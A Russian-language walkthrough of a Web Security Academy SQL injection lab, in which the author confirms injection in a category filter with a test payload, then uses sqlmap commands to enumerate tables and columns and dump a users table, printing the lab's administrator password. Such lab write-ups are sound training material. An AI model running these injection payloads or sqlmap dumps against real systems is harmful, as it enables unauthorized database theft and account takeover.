Лаба узвима к SQL injection. Для решения нужно получить учетные данные администратора и залогиниться от его имени.

https://0a57003c0432926b813a7a8500cf0090.web-security-academy.net/

Solution

Вижу уже знакомый мне фильтр категорий:

https://0a57003c0432926b813a7a8500cf0090.web-security-academy.net/filter?category=Gifts

В параметре GET-запроса передается имя категории. Проверю, уязвим ли он для SQLi:

Gifts' and 1=0-- -ok
Пояснение ' закрывает текущую строку SQL, and 1=0 делает условие заведомо ложным, -- - — комментарий, обрезает остальной SQL-код после вставки.

Угадал. Мне выдало пустую страницу:

IMG

Для решения буду использовать инструмент sqlmap. С помощью него получу список всех таблиц из БД:

sqlmap -u "https://0a57003c0432926b813a7a8500cf0090.web-security-academy.net/filter?category=Gifts" -p category --batch --tables 
Пояснение sqlmap — это инструмент для автоматического обнаружения и эксплуатации уязвимостей `SQL`-инъекций. Он позволяет проверять параметры URL, формы, cookies и извлекать данные из базы данных, не зная заранее её структуру.
Database: PETER
[2 tables]
+--------------------------------+
| PRODUCTS                       |
| USERS_KSJEGE                   |
+--------------------------------+

Полученная БД выглядит интересно. Попробую вытащить из нее данные:

sqlmap -u "https://0a570
03c0432926b813a7a8500cf0090.web-security-academy.net/filter?category=Gifts" -p category --batch -D PETER --columns

Вывод:

Database: PETER
Table: PRODUCTS
[8 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| DESCRIPTION | VARCHAR2 |
| NAME        | VARCHAR2 |
| CATEGORY    | VARCHAR2 |
| ID          | NUMBER   |
| IMAGE       | VARCHAR2 |
| PRICE       | NUMBER   |
| RATING      | NUMBER   |
| RELEASED    | NUMBER   |
+-------------+----------+

Database: PETER
Table: USERS_KSJEGE
[3 columns]
+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| EMAIL           | VARCHAR2 |
| PASSWORD_ZOCUVS | VARCHAR2 |
| USERNAME_YYRPEJ | VARCHAR2 |
+-----------------+----------+

Теперь я хочу сдампить таблицу USERS_KSJEGE:

sqlmap -u "https://0a57003c0432926b813a7a8500cf0090.web-security-academy.net/filter?category=Gifts" -p category --batch -D PETER -T USERS_KSJEGE --dump
Пояснение Сдампить (от англ. dump) в контексте SQLi — значит выгрузить содержимое базы данных: таблицы, строки, пароли, логины и т.д.

Результат:

Database: PETER
Table: USERS_KSJEGE
[3 entries]
+-------+----------------------+-----------------+
| EMAIL | PASSWORD_ZOCUVS      | USERNAME_YYRPEJ |
+-------+----------------------+-----------------+
| NULL  | tpidtpk8p30yf31z390j | administrator   |
| NULL  | tubu1f93ucymkzey93mc | wiener          |
| NULL  | 8ew1awl6nyizysjnernx | carlos          |
+-------+----------------------+-----------------+

Использую креды для входа:

IMG

Лаба пройдена:3 ☕